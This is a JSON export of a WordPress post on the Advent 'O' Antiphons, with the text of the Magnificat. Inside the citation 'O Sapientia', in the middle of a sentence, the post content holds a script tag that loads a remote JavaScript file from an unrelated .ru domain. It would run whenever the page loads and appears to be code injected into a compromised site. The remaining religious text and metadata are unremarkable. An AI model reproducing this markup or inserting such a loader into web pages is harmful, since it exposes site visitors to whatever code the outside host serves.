{"id":1944,"date":"2008-12-18T10:49:22","date_gmt":"2008-12-18T09:49:22","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=1944"},"modified":"2008-12-18T10:53:47","modified_gmt":"2008-12-18T09:53:47","slug":"adonai-and-leader-of-israel","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=1944","title":{"rendered":"Adonai and leader of Israel"},"content":{"rendered":"<p align=\"justify\"><span style=\"color: #660099;\"><em>Adonai: a hebrew name for God meaning &#8218;Lord&#8216;<\/em><\/span><\/p>\n<h3><span style=\"color: #660099;\">The &#8218;O&#8216; Antiphons<\/span><\/h3>\n<p><span style=\"color: #660099;\">The &#8218;O&#8216; Antiphons are used as the introduction and conclusion to the Magnificat at Evening Prayer and as the text of the Gospel Acclamation during the final days of Advent, 17th &#8211; 23rd December.<\/span><\/p>\n<p><span style=\"color: #660099;\">The exact origin of the &#8218;O&#8216; Antiphons is not known. Boethius (c. 480-524) made a slight reference to them, thereby suggesting their presence at that time. By the eighth century, they were in use in the liturgical celebrations in Rome.<\/span><\/p>\n<p><span style=\"color: #660099;\">The importance of &#8218;O&#8216; Antiphons is twofold: each one highlights a title of the Messiah: <cite>O Sapientia<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/cite> (O Wisdom), <cite>O Adonai<\/cite> (O Lord), <cite>O Radix Jesse<\/cite> (O Root of Jesse), <cite>O Clavis David<\/cite> (O Key of David), <cite>O Oriens<\/cite> (O Rising Sun), <cite>O Rex Gentium<\/cite> (O King of the Nations), and <cite>O Emmanuel;<\/cite> also, each one refers to the prophecy of Isaiah looking forward to the coming of the Messiah.<br \/>\n<\/span><\/p>\n<p><span style=\"color: #660099;\">My soul glorifies the Lord,<br \/>\nmy spirit rejoices in God, my Saviour.<br \/>\nHe looks on his servant in her lowliness;<br \/>\nhenceforth all ages will call me blessed.<\/p>\n<p align=\"justify\"><span style=\"color: #660099;\">The Almighty works marvels for me.<br \/>\nHoly his name!<br \/>\nHis mercy is from age to age,<br \/>\non those who fear him.<\/span><\/p>\n<p align=\"justify\"><span style=\"color: #660099;\">He puts forth his arm in strength<br \/>\nand scatters the proud-hearted.<br \/>\nHe casts the mighty from their thrones<br \/>\nand raises the lowly.<\/span><\/p>\n<p align=\"justify\"><span style=\"color: #660099;\">He fills the starving with good things,<br \/>\nsends the rich away empty.<\/span><\/p>\n<p align=\"justify\"><span style=\"color: #660099;\">He protects Israel, his servant,<br \/>\nremembering his mercy,<br \/>\nthe mercy promised to our fathers,<br \/>\nto Abraham and his sons for ever.<\/span><\/p>\n<p align=\"justify\"><span style=\"color: #660099;\">Glory be to the Father and to the Son and to the Holy Spirit,<br \/>\nas it was in the beginning, is now, and ever shall be,<br \/>\nworld without end. Amen.<\/span><\/p>\n<p><\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Adonai: a hebrew name for God meaning &#8218;Lord&#8216; The &#8218;O&#8216; Antiphons The &#8218;O&#8216; Antiphons are used as the introduction and conclusion to the Magnificat at Evening Prayer and as the&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=1944\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-1944","post","type-post","status-publish","format-standard","hentry","category-6"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1944","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1944"}],"version-history":[{"count":5,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1944\/revisions"}],"predecessor-version":[{"id":1948,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1944\/revisions\/1948"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1944"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1944"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1944"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}